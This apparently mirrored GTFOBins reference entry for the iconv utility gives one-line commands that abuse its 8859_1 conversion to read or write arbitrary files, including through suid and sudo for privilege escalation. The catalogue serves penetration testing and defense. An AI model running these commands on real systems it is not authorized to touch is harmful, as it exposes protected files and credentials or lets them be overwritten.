1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-22 23:36:03 +02:00
GTFOBins.github.io/_gtfobins/iconv.md
2020-03-15 12:05:17 +01:00

601 B

description functions
The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.
file-write file-read suid sudo
code
LFILE=file_to_write echo "DATA" | iconv -f 8859_1 -t 8859_1 -o "$LFILE"
code
LFILE=file_to_read iconv -f 8859_1 -t 8859_1 "$LFILE"
code
LFILE=file_to_read ./iconv -f 8859_1 -t 8859_1 "$LFILE"
code
LFILE=file_to_read ./iconv -f 8859_1 -t 8859_1 "$LFILE"